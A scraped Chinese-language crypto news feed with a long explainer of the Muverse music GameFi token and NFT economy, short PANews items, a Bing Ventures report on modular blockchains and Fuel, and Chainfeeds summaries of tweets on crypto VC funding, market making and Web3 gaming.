即可在有能量的前提下，通过参与游戏互动获取代币收益。耳机模式下，用户在有能量的前提下，参与游戏互动可获得更高的代币收益。以下内容皆是耳机模式。 用户只有在有能量的情况下才能参与单人模式，每个能量可以进行 1 次音乐互动。玩家完成音乐游戏互动获得分数和 MCT 收益，收益通常基于 3 个因素： 音乐游戏难度：通过不同类型的耳机 NFT，您可以选择不同难度级别的音乐游戏。游戏关卡越高，MCT 奖励越高。 音乐互动评分：根据您在音乐游戏中的表现得分。 音质的值：耳机 NFT 的音质值越高，同样的分数可以获得的 MCT 越多。 后续还会有挑战模式的推出。 游戏中含有四种 NFT，分别是：耳机 NFT、盲盒 NFT、宝石 NFT、音符 NFT。 App 内置交易市场，玩家可以买卖物品，包括耳机 NFT、耳机 NFT 盲盒、宝石 NFT、音符 NFT 等。这些交易收取 6% 的费用。 交易中的物品将被锁定，不能用于赚取收益。 耳机 NFT 耳机 NFT 有四种类型，对应四种游戏难度。 （1）耳机属性 音质（MCT 收益） ：音质属性越高，同等能量消耗下的收益越高。 灵感 ( 神秘宝箱 ) ：灵感决定神秘宝箱出现的频率和稀有度（即将推出）。 魅力（MU 收益）：暂不开放，预计与后期 MU 代币收益有关 质量（耐用性 / 修复）：质量会影响耳机的耐久和维修成本。品质属性越高，每次消耗的生命值越少，修复成本越低。 （2）耳机稀有度 稀有度是每个耳机 NFT 的价值级别。有 5 个级别：普通、经典、珍贵、稀有、传奇。不同等级的稀有度对应不同等级的基本属性，会影响宝石槽的加成和能量值的上限，所以稀有度越高，收益越高。 此外，每个属性的值将根据耳机的稀有度在相应的最小值和最大值内随机确定。因此，即使是同一种稀有 NFT 的耳机，其属性也可能存在很大差异。 （3）耳机宝石 NFT 插座（即将推出） 每个耳机 NFT 都有四个宝石插座，供玩家插入“宝石 NFT”，以增加他们的基本属性值。每个耳机 NFT 在达到一定级别时都会解锁一个插槽。 宝石插槽有四种类型，每个宝石插槽代表一个属性： 盲盒 NFT 打开盲盒是获取耳机 NFT 的主要方式之一。盲盒具有与耳机相同的五种不同稀有度：普通、经典、珍贵、稀有和传奇。 盲盒有更高的概率打开相同稀有度的耳机 NFT，但也有一定概率打开更高或更低稀有度的耳机 NFT。 宝石 NFT（即将推出） 宝石 NFT 是对耳机 NFT 属性的额外增强。当耳机解锁插槽并消耗 MCT 激活时，玩家可以插入宝石 NFT 来增强耳机 NFT 的指定属性。宝石 NFT 的获取方式有两种：神秘宝箱和市场。 宝石有四种类型，每种宝石代表一个属性： 黄色 + 音质 蓝色 + 灵感 紫色 + 质量 红色 + 魅力 音符 NFT（即将推出） 音符 NFT 可以通过音乐交互获得，音符 NFT 效果将随着应用音乐交互模式的开发进程逐步启用。 4.游戏系统 收益上线机制 游戏设置收入上限机制，单人模式有每日能量上限和每日代币奖励上限。这些限制了用户每天可以获得的代币数量。当获得的代币达到上限时，即使还有能量，也无法继续获得代币。必须等待奖励上限重置（每天 0:00 重置）才能继续游戏并获得奖励。 在无耳机模式下，玩家获取收益影响最主要的是连续单机得分。 在耳机模式下，耳机 NFT 的属性也是玩家游戏收益的主要因素，所以由玩家耳机效率和连续点击得分两方面有关。总之，玩家耳机 NFT 属性越佳，参与模式越高级，收益越高。 能量机制 每次音乐互动都会消耗能量值，能量消耗后可自动恢复，每 6 小时恢复 25% 的能量值，直至达到能量上限。用户可以通过持有更多的耳机 NFT 来提高能量上限，计算如下： 在持有耳机 NFT 并获得基础能量的情况下，每个创世耳机 NFT 可以提高 0.5 的能量上限。 在持有耳机 NFT 并获得一定基础能量值的情况下。稀有或更高等级的耳机 NFT 可以提高能量上限。 示例： 1 普通耳机 +1 经典耳机=6 总能量 (5 基础能量 +1 奖励 ) 2 罕见耳机 +1 普通耳机=17 总能量 (7 基础能量 +10 奖励 ) 注意：在市场上出售耳机将导致能量和能量上限损失。将耳机从一个账户转移到另一个账户会导致耳机进入 48 小时冷却期，在冷却期内，用户无法使用该耳机。 耐久度机制 初始耐久度是 100，每次游戏消耗能量，耳机 NFT 都会消耗耐久度。如果用户只使用此耳机提供能量，则此耳机的耐用度不会衰减。 根据耳机 NFT 的稀有度和质量值，耐久度的消耗也不同。品质属性越高，耐久度损失和恢复成本越低。耳机 NFT 在达到耐久度阈值时会遭受“破音”惩罚。 耐久度< 100% ，耳机 NFT 不能在交易市场上市或转让 20% < 耐久度<= 50%，机 NFT 的音质会下降到 90% 0 < 耐久度<= 20%，耳机 NFT 的音质会降低到 10% 耐久度= 0，耳机 NFT 的音质会下降到 0% 使用 MCT 恢复耐久度。耐久度的恢复受耳机 NFT 的稀有度和等级，以及耐久度损失程度的影响。耐久度越低，恢复成本越高。 耳机升级 每个耳机 NFT 都有 30 个等级，玩家可以通过花费 MCT 来升级。等级越高，消耗的 MCT 越多。每次升级都需要等待时间，支付 MCT 可以加快升级过程。在 NFT Lv.19、Lv.28 和 Lv.29 中，除了 MCT 外，还需要额外的 MU。 升级耳机 NFT 可以提高每日收益上线，后续还可以解锁新功能，在 Level5、10、15、20 等级下，分别解锁耳机 Mint、插座 1、插座 2、插座 3、插座 4。 升级后根据用户耳机稀有度分配 4-12 个额外属性点： NFT Mint NFT 达到 5 级开启铸造功能，消耗 MCT/MU，配对两个耳机 NFT 铸造一个盲盒。每个耳机最多铸造七次，而且随着铸造次数增加，MCT/MU 成本也随之增加，获得更高级别盲盒的概率随着铸造频次的增加而增加，用于配对两个 NFT 的耳机称为“前因”，前因对的类别和稀有度将对耳机的盲盒产生直接影响。将不同稀有度的前因配对将生成不同稀有度的盲盒。用户仅在 1-1、2-2、3-3、4-4、5-5、6-6 配对时享受概率奖励红利，其他如 0-1、0-5、3-4 不享受概率红利，根据第一次 Mint 概率。 帐号 Mint 后需要 48 小时的冷却时间，此期间不可以进行 MINT。 MINT 成本动态调整，主要由 MCT 价格决定，铸造成本每天世界标准时间 14：00（北京时间 22：00）更新，代币价格波动大，极端情况下可能每天调整多次。 成本公式如下： Mint 成本= MCT (A) + 基础 MU (B) + 额外的 MU ([A+B]*x) 调整主要为额外的 MU 代币，动态调整可以保证代币消耗，保证 MU 的价值。目前阶段 MU 没有上线，Mint 主要由 MCT 消耗进行。 税费 游戏将对各种应用内活动收取不同的税款和费用，详情如下： 游戏进一步计划 除了暂时还未上线的宝石 NFT 升级，神秘宝箱外，平台还有计划后期上线音乐&跳舞 ( 通过在游戏中使用手机的摄像头随着音乐跳舞来赚取收益 )，音乐&唱歌（通过在游戏中唱歌来赚取收益），音乐&健康的生活方式（可以通过在游戏中边听音乐边锻炼来赚收益）。 Social-Fi 目前仍在开发阶段，Muverse 主打就是音乐 + 社交，所以 SocialFi 也是发展重点。通过排队模式，艺术家在 MUVERSE 上轻松发行音乐专辑，通过 MUVERSE 举办线上或线下演唱会，发展自己的粉丝。用户可以购买喜欢的音乐 NFT，投资艺术家。 而且在创意模式中，类似与短视频，通过用户使用音乐创造作品获得其他用户关注夏欢，可以获得收入，广告公司还可以按照用户通过 Muverse 设定的价格购买音乐视频 NFT。购买后，广告公司可以在视频后添加广告内容。 音乐 NFT 是 Muverse 社交方面的重点，音乐 NFT 为艺术家提供销售收入，音乐 NFT 购买者将在 Game-Fi 中拥有该音乐 NFT 产生的实时版税收入。随着艺术家的音乐登上排行榜，这些开创性的音乐 NFT 将产生持续的版税收入并增加价值。 Muverse 采用双代币 MCT+MU 治理模式。 MCT MCT 是用于在 Muverse 中进行操作的 Token，通过与音乐互动获得的 MCT，总共应量无限。应用场景为：为各种 APP 功能付费，包括耳机 Mint、NFT 耐久修复、NFT 升级、宝石升级、开锁宝石插座。并且应用场景内所消耗的 MCT 将全部销毁。 MU MU 是平台的治理代币。MU 是一种具有一些高级功能的支付代币。 总供应量 10 亿枚，锁仓 1-2 年不等。 MU 的应用场景是：耳机升级、耳机 Minting、宝石升级、参加挑战模式、购买音乐存储节点。并且场景内所消耗的 MU 也将全部销毁，所以 MU 的模式也是逐渐通缩。 截至 4 月 2 日，用户通过 Muverse 平台上的节奏游戏和音乐聆听场景累计挖矿 16,562,281 枚 MCT。耳机 NFT 升级、维护、铸造消耗的 MCT 总量为 5,178,281 枚，占挖矿总量的 31.265%。剩余的 3,437,722 枚 MCT 作为平台储备金，支持用户挖矿需求的持续增长。 MCT 流动性：Muverse 的 MCT 实用代币只能由用户挖掘，Muverse 团队没有进行预挖。此外 MCT 的任何使用都将对社区透明。 MCT 已经在 Uniswap v2 添加了流动性，流动性池地址：https://app.uniswap.org/#/tokens/ethereum/0xbee709aa42375ace642338f7f657ff859a19c9bc 用于增加流动性池的 MCT 来自 Muverse 耳机 NFT 用户的 NFT 升级维护。自 2023 年 4 月 1 日起，Muverse 耳机升级维护所消耗的 MCT 将全部转移至虫洞地址进行销毁，不再用于其他用途。 关于 MU，之前用户共购买了 752,586 个 MU 代币，耳机 NFT 升级和铸造过程中消耗的 MU 总量为 433，749.4MU 代币。用户的地址剩余 MU 余额为 318,836.6MU。目前，Muverse 的多签地址 A 中仍持有 10,247,414 个 MU 代币，占已发行 MU 代币总量的 93.158%，占 MU 代币总量的 1.025%。用户持有量（318,836.6MU）占发行的 MU 代币总量的 6.842% 和 MU 代币总量的 0.00032%。 详情可以查看最近公布的季度透明度报告：https://medium.com/@Muverse/transparency-muverse-quarterly-transparency-report-2023-q1-48dc2d1bee55 在流媒体时代，唱片公司与音乐家的收入处于严重不对等状态，多数音乐家表示其收到的报酬微乎其微。谈及音乐家的报酬问题，我们不得不提版税。在音乐行业，版税基本上是歌曲（或任何创作）被出售、分发、用于其他媒体（如商业或电影）或以任何方式货币化时支付给任何权利持有人的费用，版税问题一直是传统音乐世界的痛点。根据不完全统计，从 2021 年到现在，Web 3 音乐项目的融资金额超过 2 亿美金，生态也愈发壮大。Muverse 将音乐与 NFT 相结合，通过发型音乐 NFT 解决音乐艺术家的版税问题，过去两次音乐家的歌曲销售皆以成功为结局，并且用户可以通过成为收藏家购买收藏艺术家音乐 NFT 并享受版税收益，现在已经开发出了 1.0 版本音乐类节拍游戏，是音乐使用的另一个场景，未来全规模的音乐社区以及音乐 NFT 市场的搭建更加值得期待，随着 Muverse 的不断发展，可以展望未来在 WEB3 音乐赛道中的脱颖而出。  ( 7 min )
    以太坊ERC-20代币标准发明者计划发布Layer 1区块链“LUKSO”
    PANews 4月6日消息，据CoinDesk报道，以太坊ERC-20代币标准发明者Fabian Vogelsteller计划发布Layer 1区块链LUKSO，验证者将能够通过Genesis Validator智能合约存款加入网络。LUKSO将从以太坊中诞生，对此Vogelsteller表示：“我们在某种程度上使用以太坊作为入口，就像以太坊使用比特币网络一样”。未来几周将在以太坊上线一个创世验证者存款智能合约，允许用户存入32枚LYXe成为创世验证者，LUKSO主网上线后，LYXe将转换为LYX，即LUKSO的原生代币。  ( 1 min )
    苹果最新版本的Mac和MacBook疑似内置比特币白皮书
    PANews 4月6日消息，据Bitcoin Magazine报道，比特币白皮书疑似已预装在苹果每台Mac和MacBook上，可通过简单的终端命令或导航 Finder打开，在Finder终端中输入以下命令：open /System/Library/Image\ Capture/Devices/VirtualScanner.app/Contents/Resources/simpledoc.pdf。用户需要导航到 Macintosh HD -> System -> Library -> Image Capture -> Devices。按住 Control 单击 VirtualScanner.app 并显示包内容，然后打开内容 -> 资源文件夹 -> simpledoc.pdf。  ( 1 min )
    CoinFLEX联创承诺Roger Ver可在OPNX上免费交易两年，以解决8400万美元债务问题
    PANews 4月6日消息，加密交易平台CoinFLEX联合创始人Mark Lamb发布公开信称，承诺Bitcoin. com创始人Roger Ver可在OPNX上免费交易两年，旨在解决两者之间长期存在的争执，以使Roger Ver向CoinFLEX偿还据称未偿还的贷款。此前去年6月Mark Lamb指控Roger Ver拖欠4700万美元的贷款，但Roger Ver驳回了这一说法，随后CoinFLEX披露损失金额上升至8400万美元，并表示已启动仲裁程序并在筹集资金。 此前消息，Coinflex更名为OPNX，Leslie Lamb将担任CEO。  ( 1 min )
    链游RACA获DWF Labs 1600万美元融资
    PANews 4月6日消息，据CoinDesk报道，链游RACA（Radio Caca）获DWF Labs 1600万美元融资，包括购买数量不详的RACA代币，所筹资金将帮助RACA推进其Web3游戏生态系统的目标。据悉，RACA（前身为 Radio Caca）成立于2021年，最初是Elon Musk的母亲Maye Musk的不可替代代币（NFT）的管理者。该公司已经推出了R3游戏基础设施、SimCity风格的沙盒游戏USM.WORLD、社交派对游戏Looki Looki Jazzi、跨游戏DID钱包JAZ和NFT市场。  ( 1 min )
    一文了解模块化公链：模块化执行层能的通用之路
    作者： Kyle Liu, Bing Ventures投资经理 乘着Layer2的东风，模块化公链叙事热度兴起，其中尤以模块化公链执行层项目最为值得关注。本期Bing Ventures行业研究报告将简要介绍什么是模块化公链以及当前模块化公链执行层领域的基本格局。 随着 Layer 2 和 Rollups 的发展，以太坊的生态系统转向了模块化架构。区块链技术大规模应用的最大障碍之一是可扩展性。Layer1 扩展解决方案专注于区块生产而不是区块验证。模块化区块链基础设施旨在促进具有可扩展性、安全性和去中心化特性的 Web3采用，并专注于易于集成、快速交付和用户体验。 模块化公链正逐渐成为大家讨论最多的话题，而所谓模块化，就是把区块链的共识层、数据可用性层（DA）、结算层、交易执行层等分工给不同的链，而不是一条链处理所有模块。执行层可以作为自己的区块链存在，也可以利用底层区块链来保证有效性和数据可用性。 通常来看，上述三层其实早已存在，但是它们被耦合在以太坊网络中，没有明确的界限和分工。模块化公链的目的就是要解耦这些层，首先在Layer2应用的技术环境下，将隐私安全、节点验证、交易确认、数据存储、欺诈证明等功能分别处理，从而实现链上的扩容。 区块链技术的“不可能三角”一直是困扰开发者和用户的问题，Layer2等解决方案就是为了解决这个核心问题而设计的。具体来说，Layer2的方法是将数据的计算和处理移到以太坊的第二层网络，而第一层网络主要负责安全性，也就是共识。值得注意的是，模块化公链主要是针对以太坊升级提出的解决方案，其叙事逻辑围绕以太坊展开。但是，目前也有其他链上的项目参考此进行性能改进。 模块化公链旨在将系统划分为多个模块组件，使其具有区块链的特性，甚至可以拥有DEX、稳定币、NFT和衍生品等子功能。开发人员可以将这些新模块提取出来，任意排序组合，以实现更高级的功能。直到去年下半年，模块化公链才再次被提及，因为以太坊的Layer2方案在那时开始兴起，而Layer2正是实现公链模块化的重要基础和先决条件。 Source: celestia 模块化执行层的竞争格局 以太坊生态系统通过 Layer 2 和 Rollup 等技术实现了执行层与底层区块链的分离，从而提高了可扩展性、安全性和互操作性。目前模块化公链执行层有一些专注于提供数据可用性层的项目，例如 Celestia、LazyLedger 和 DataShards；有一些专注于提供执行层的项目，例如 Optimism、Arbitrum 和 zkSync3；还有一些专注于提供跨链桥接和协议聚合的项目，例如 Polygon、Connext 和 Hop Protocol。 它们都在积极地开发和部署自己的解决方案，并与各种去中心化应用合作，以提升用户体验和网络效率。模块化公链执行层类项目之间存在一定程度的竞争和合作，因为它们都面临着共同的挑战和机遇，我们的评价维度应该始终围绕安全性、可扩展性、互操作性、成本效益这四个指标。笔者总结了以下几类典型项目： Source: Volt 公链大提速 模块化区块链架构可以将区块链的功能分解为不同的层级，例如执行层、安全层和数据可用性层，这可以提高区块链的效率、灵活性和互操作性。并行交易类产品可以利用并行处理的方式执行交易，并通过不同的验证机制来保证金交易的有效性，这可以提高区块链的处理能力、吞吐量和确认速度。它们可以支持更多代币和智能合约，并让用户在不同的区块链之间转移资产，这可以拓展区块链的应用场景，例如DeFi、NFT和Web3。 Arbitrum就是一个基于Optimistic Rollup技术的经典执行层方案，它可以在以太坊上实现高效、低成本和兼容性强的智能合约。 Arbitrum可以利用任意数据（Arbitrary Data）技术来提高交易吞吐量和确认速度。同时，StarkNet作为一个基于ZK-Rollup技术的执行层平台，它可以在以太坊上实现可扩展、安全和隐私保护的去中心化应用。 StarkNet可以利用零知识证明（Zero-Knowledge Proof）技术来保证交易的有效性和数据可用性。这两种路线目前占据了执行层技术路线的主流。 但是，并行处理需要严格的状态访问列表来确保交易不会互相干扰。同时，模块化区块链需要依赖其他层级来提供安全性、共识和数据可用性，这可能会增加复杂度和成本。此外，并行处理可能会降低交易的确认速度，因为需要等待所有并行分支都完成才能确认整个区块。面对这些问题，Fuel作为一个基于UTXO模型的执行层协议，它可以在不同的区块链上运行。 Fuel可以利用并行处理的方式执行交易，并通过优化撤销（Optimistic Yanking）技术让用户在不同的区块链之间转移资产。Fuel使用了一个名为FuelVM的虚拟机器，它可以快速地验证交易和区块，并支持多种代币和智能合约。Fuel采用了一种名为Optimistic Yanking的技术，它可以让用户在不同的区块链之间转移资产，而不需要等待长时间的确认或支付高额的手续费。 Source: vitalik.ca Fuel：执行层的并行交易 Fuel是最早部署在以太坊主网上的Optimistic Rollup，在2020年年底在以太坊上线V1版本。它通过使用与EVM不同的执行模型来提供可扩展性，即基于UTXO的高度可并行化的最小执行系统，支持ETH和所有ERC-20代币。然而因为Fuel V1的用户过少以及不支持智能合约，在上线后一直没有受到用户的欢迎。于是在Fuel V1启动后不久，Fuel的开发团队Fuel Labs就将全部开发重心转移到V2版本，并将其定位为模块化执行层，即为模块化区块链堆栈设计的可验证计算系统。 Fuel最大的特色是其采用全新的VM架构 — — FuelVM，该VM具备其工具链和语言。FuelVM从WASM、EVM和Solana的SeaLevel中汲取特点，最引人注目的潜力是它在UTXO-based数据模型上执行。相比今天的Optimistic Rollups，Fuel的最大区别在于其使用UTXO-based数据模型，而且其第一个版本是以P2P支付为应用场景。Fuel V2有望实现类似以太坊的智能合约，该VM面向应用程序特定的支付Rollup设计，是一个定制VM，为其提供了更多的推理便利，但对于类似以太坊的通用Rollup，则不太明显。 FuelV2的技术堆栈有三个核心支柱，分别为： FuelVM FuelVM旨在减少传统区块链虚拟机架构的浪费处理情况，同时增加开发人员的潜在设计空间。Fuel采用UTXO数据模型，与比特币类似，整个状态以UTXO集的形式表示。不同之处在于，Fuel V2中的一些UTXO是代币UTXO，而另一些是合约UTXO。与代币UTXO不同，合约UTXO除了余额和支出条件外，还具有代码、存储和唯一的合约ID。 UTXO的一个显著特点是它们是原子的，即交易完全消耗它们并创建新的UTXO。对于合约UTXO，Fuel定义了一些新的有效性规则。其中重要的规则包括：合约UTXO被锁定在特殊的任何人都可以消费的支出条件后面；当交易消费合约UTXO时，它会创建一个新的合约UTXO，具有相同的支出条件和合约ID，但可能具有新的存储和余额；在同一交易中使用的合约UTXO可以相互交互。 Fuel的优点是采用UTXO模型使得Fuel区块链可以更快速、高效地进行交易。而它的劣势则在于UTXO模型的实现需要一定的技术难度，且相对于账户模型的实现需要更多的代码量。此外，由于UTXO模型不太适用于智能合约，因此使用合约UTXO时需要遵循新的有效性规则，需要一定的技术知识和经验。但是，Fuel仍然在不断发展和完善，未来有望实现更多的功能和应用场景。 并行交易执行 Fuel 使用UTXO模型形式的严格状态访问列表，因此具有并行执行交易的能力，在计算、状态访问和事务吞吐量方面较具优势）。Fuel是一种基于UTXO模型的区块链，其最大的优势在于其可并行执行交易，这是其它许多区块链所没有的。该技术的核心是通过访问列表(access lists)确定交易将修改的状态部分，从而实现并行执行。 这意味着如果交易花费的UTXOs没有重叠，它们可以被分别执行，从而充分利用多核CPU的性能。这项技术不仅适用于区块内交易，还可以跨区块执行，使得（重新）进入节点的同步速度更快。相比之下，基于账户模型的区块链也可以实现并行执行，但需要更多考虑因素，如访问列表的严格规定。同时，单核性能已经无法满足需求，而多核CPU的使用不断普及，多核处理对于提高执行效率也有着乘法效应。因此，Fuel的并行执行技术将在未来变得越来越重要。 开发者体验 Fuel 使用自己的特定领域语言 Sway和支持工具链 Forc提供较为强大和流畅的开发人员体验。开发环境保留了 Solidity 等智能合约语言的优势，同时采用了 Rust 工具生态系统中引入的范式，并包含利用区块链 VM 的语法。为了解决状态增长的问题，FuelVM采用了两种程序 — — 脚本和谓词，以增强图灵完备的智能合约。 与EVM不同的是，FuelVM的用户不直接调用合约，而是运行脚本来调用多个合约。脚本的美妙之处在于它们是可剪枝的，一旦脚本被执行，就会被完全剪枝，不会对状态造成任何影响。谓词类似于脚本，但在执行期间不会读取合约存储，完全是无状态的。脚本和谓词的主要目的是将FuelVM变成半无状态执行。在FuelVM中，应用程序可以根据应用程序的功能和资源价格，更倾向于状态或执行。此外，Fuel还支持多种复杂应用，如多个本地资产支持、单笔交易中的授权和转移、混币器和隐私应用等，具有很大的灵活性。 Source: Fuel 模块化执行层的通用之路 现今的Rollups的主要价值在于扩展以太坊，并在可能的情况下扩展其功能。Rollups通过以下两种方式扩展以太坊：1.将状态（和执行）转移到链下，即从L1到L2移动它；2.并行计算，即多个Rollups可以同时在以太坊上运行。Rollups通过将部分状态转移到链下来减轻以太坊状态增长的问题，但这并不会奇迹般地消除维护状态的需求。尽管以太坊节点不需要维护它，但Rollup节点必须维护它。 目前，Rollup领域没有太多关注状态优化。相反，大多数关注点集中在减少L1数据上，因为当前数据是Rollup的最昂贵成本项目。大约有2/3的Arbitrum费用以L1 calldata的形式存在。EVM Rollup优化了发布到L1的数据，试图尽可能压缩它以为用户提供更便宜的费用。 但我们没有考虑到的是，成本将在模块化时代发生巨大变化。随着基础层开始大量提供数据（归功于数据可用性采样技术），Rollups很快将享受到数量级更便宜的数据。同时，由于对状态增长的关注较少，状态大小将迅速成为模块化世界中的主要瓶颈。任何区块链，无论是Rollup还是L1，对于增加状态的操作都会对网络产生永久性成本。这些操作不仅消耗当前节点的资源，也消耗未来所有节点的资源。 Source: Bing Ventures 目前，Fuel成功构建了一些示范用例，如AMM、多重签名、预言机和DAO投票等。未来，Fuel团队还计划构建其他产品的示范用例，例如借贷、NFT市场等。虽然基于UTXO的执行方式可能会有些反直觉，但我认为Fuel独特的能力将会催生出新的应用程序，推动当前DeFi空间的能力极限。总之，我对Fuel在模块化堆栈中所带来的潜力感到兴奋。数据可用性层可以扩展数据，但为了完整的去中心化用户体验，我们还需要扩展执行。Fuel有望填补这一空白。 从我们的评价尺度来看，Fuel的安全性是由主网以太坊提供的，这意味着Fuel不需要自己的验证器或共识机制，也不会受到攻击或分叉的风险。 但是，这也意味着Fuel需要依赖以太坊的安全性和稳定性，如果以太坊出现故障或升级，可能会影响Fuel的运行。Fuel的可扩展性是由其高效的交易格式和低延迟的确认时间实现的，这使得Fuel可以在每秒处理数千笔交易，并在几秒内完成交易确认。 但是，这也意味着Fuel需要与其他rollup链竞争资源和用户，如果其他rollup链提供了更高的吞吐量或更低的延迟，可能会影响Fuel的吸引力。 Fuel的互操作性是由其跨链转移功能和多代币支持功能实现的，这使得Fuel可以与以太坊、Arbitrum、Optimism、Polygon等Layer 1和Layer 2网络兼容和互通。 但是，这也意味着Fuel需要与其他跨链解决方案竞争效率和安全性，如果其他跨链解决方案提供了更快、更便宜或更安全的转移服务，也会影响Fuel的竞争力。 未来，Fuel可以支持各种类型的交易和计算，包括转账、支付、智能合约、预言机等。 这使得Fuel可以适应不同的用例和需求，并提供高效和灵活的服务。同时，加快与各种模块化区块链网络进行集成和互操作，包括以太坊2.0、Celestia等。 这将使得Fuel可以利用这些网络的数据可用性和共识安全性，并提供跨链转移和互通功能。Fuel可以通过增加创新和优化其技术方案来进一步提高其执行效率和性能，包括Merkle Patricia Trie、Zero-Knowledge Proofs等。这些举措有望在未来扩大它作为模块化执行层的通用性。  ( 10 min )
    Arbitrum基金会已提交两项关于扩大ARB代币持有人监督和治理权力的新提案
    PANews 4月6日消息，据CoinDesk报道，Arbitrum基金会已提交两项关于扩大ARB代币持有人监督和治理权力的新提案，以解决上周末加密货币治理崩溃一事。第一个提案AIP-1.1建议将基金会剩余的7亿ARB置于“智能合约控制的锁定”中，四年内解锁。根据提案，在社区成员批准代币分配预算之前，基金会将无法使用代币。此外，Arbitrum 基金会还发布了一份关于该组织如何成立的透明度报告。第二个提案AIP-1.2旨在修改Arbitrum生态系统的几个治理文件，包括将在链上发布改进提案所需的ARB代币数量的门槛从500万降低到100万。DAO的成员将有三天的时间就提案提供反馈，之后这两项提案将进行为期一周的快照投票。  ( 1 min )

  • Open

    IOST 宣布获 Web3 投资机构 BitValue Capital 1000 万美元投资
    IOST 宣布获 Web3 投资机构 BitValue Capital 1000 万美元投资 加拿大 Web3 投资机构 BitValue Capital 宣布向 IOST 投资 1000 万美元，成为其战略合作伙伴。此次投资将用于支持 IOST 主网升级和生态系统的持续建设，BitValue Capital 还表示将帮助 IOST 推进以香港为中心的多元化国际合规扩张，开展全球市场营销活动和生态建设，并将引入北美专业量化交易机构，并对 IOST 生态给予支持。 此外，BitValue 还将与 IOST 联合推出 500 万美元生态激励基金，为全球开发者提供更多支持，加速 IOST 生态建设和发展。 内容来源  ( 4 min )
    【英文长推】数据分析 3 月加密 VC 资金流向及三个创新项目
    Chainfeeds 导读： 加密 VC 的洞察力可以帮助投资者锁定最新的 DeFi 趋势，加密 KOL Ignas 跟踪了 3 月的资金流向，并找到了赢得投资者青睐的最具创新性的 3 个协议。 文章来源： https://twitter.com/DefiIgnas/status/1643597844430090240 文章作者： Ignas | DeFi Research 观点： Ignas | DeFi Research：首先，3 月加密生态系统融资总额出现了巨大的飙升，共 129 笔，总金额 94.7 亿美元。其中仅四轮融资就筹集了 82 亿美元（占总额的 87%）：Stripe 65 亿美元、Ledger 10.8 亿美元、zkSync 开发公司 Matter Labs 4.58 亿美元、eToro 2.5 亿美元。其余 125 笔融资总额 12.7 亿美元。DeFi 方面，资金增长仍然低迷。仅有 17 个 DeFi 项目成功融资，总额 9400 万美元。【原文为英文】 内容来源 Ignas | DeFi Research：知名风投公司的种子轮投资项目中大多数还没有代币，其中最具潜力的三个：1）Polytrade：贷款给被称为「发票保理」的传统现实世界资产类别。贷款人以折扣价从供应商处购买到期发票，然后收取全部发票金额，从而产生利润或收益。这一资产类别受到银行和信贷基金的青睐，目前 TVL 为 1100 万美元。团队从 Alpha Wave、Matrix、Polygon 等处筹集了 380 万美元。【原文为英文】 内容来源 Ignas | DeFi Research：2）Econia Labs：Aptos 上的链上订单簿，实现了与其他应用程序从现货交易到永续合约的集成，类似 Aptos 上的「Serum」。3）Gyroscope Protocol：正在构建一个全天候储备和自主价格浮动的稳定币，类似 Fei Protocol，利用其管理的资产来维持其稳定币。Gyroscope Protocol 专注于弹性，即使系统某些部分出现故障也能保持功能，储备由专为风险分层而设计的保险库组成。团队从 Placeholder VC、Galaxy Ventures、Robot Ventures、Balancer CEO 等处筹集了 450 万美元。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解析做市交易机制及滥用的可能性
    Chainfeeds 导读： 加密研究员 Alex 首先介绍了代币做市交易（MM）的机制以及其中存在的滥用的可能性，其次对 Arbitrum 事件进行分析，认为加密项目的做市交易需要对散户投资者进行更多的披露。 文章来源： https://twitter.com/thiccythot_/status/1643753971172151298 文章作者： Alex @ Breakpoint 观点： Alex @ Breakpoint：过去的加密项目通常使用代币对链上矿池进行激励，现在则是向专业做市商提供激励，为 CEX 提供流动性，从而提高价格发现效率，并降低各方成本。项目方向做市商（通常为 3-5 个）提供 1 年期代币贷款，并附有零成本认购期权，做市商在贷款期间保证市场规模和价差。【原文为英文】 内容来源 Alex @ Breakpoint：首先，做市商需要贷款来确保其业务有足够的库存，以备抵消过多的购买需求。贷款通常为零利率或极低的利率。另一方面，做市商的服务需要回报。项目方通常代币丰富而现金匮乏，更愿意支付代币。但他们同时也不希望做市商立即抛售代币，因此会提供认购期权以调整激励机制。【原文为英文】 内容来源 Alex @ Breakpoint：代币做市交易的机制本身没有恶意，问题是没有向散户投资者披露信息，这会造成对公开市场参与者的不公平。以最近的 Arbitrum 事件为例，散户投资者在做出投资决策时基于文件假定仅有 12.75 亿代币是二级市场上的唯一供应，但事实并非如此。文件中没有提到做市交易，条款不明；没有提到基金会将立即出售代币，没有 OTC 交易条款；没有提到 Wintermute 是否是 Arbitrum 的投资者。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Web3 游戏浪潮或将在 2023 年卷土重来？
    Chainfeeds 导读： 加密研究员 Mealphisto 认为 Web3 游戏浪潮将在 2023 年卷土重来，并分三个部分对其观点进行论述：GameFi 的真正价值模式是什么？GameFi 已死？为什么说 Web3 游戏会重生？ 文章来源： https://twitter.com/mealphisto99/status/1643212960557588480 文章作者： Mealphisto 观点： Mealphisto：传统游戏模式的共同点是创作者是主要的受益者，而 Web3 游戏采用所有权模型，吸引玩家游玩并铸造资产（NFTs）。资产越有价值，玩家和工作室都能从中受益。目前 GameFi 的主要问题是游戏性差，缺乏玩家忠诚度，以及在可定制化方面缺乏创造力。除了透明度和利益之外，GameFi 还需要带来乐趣和吸引力。【原文为英文】 内容来源 Mealphisto：1）TreasureDAO：Web3 任天堂。TreasureDAO 是许多优秀游戏的平台，每个游戏都有其各自的元宇宙，但它们都通过 MAGIC（TreasureDAO 代币）和 Trove 连接起来，用于交易每个游戏的 NFTs 物品；2）OhBabyGames：Web3 世嘉。基于 Web3 构建了一个熟悉的生态系统，包括马里奥卡丁车、明星大乱斗等游戏。还发布了游戏客户端预告；【原文为英文】 内容来源 Mealphisto：3）The Beacon：Web3 最佳 2D RPG。一款幻想动作类 RPG 游戏，是 TresureDAO 生态系统的一部分，BETA 阶段已达到 100 万 MAGIC；4）Metastrike：Web3 CSGO。一款战术 FPS 游戏，玩法与 CSGO 类似。该团队获得了 Jump 和 Kucoinlabs 等投资，推出了 2 个开放 Alpha 和 Beta 游戏以及 1 个 NFT 市场（交易武器）。游戏即将推出新版本，玩家完全可以在其 NFT 市场上赚钱和买卖物品。不久还将推出类似 CS2 的自定义地图版本，允许玩家创建自己的地图；【原文为英文】 内容来源  ( 2 min )
    ZK-RaaS 提供商 Opside 完成 400 万美元种子轮融资，Web3.com Ventures 领投
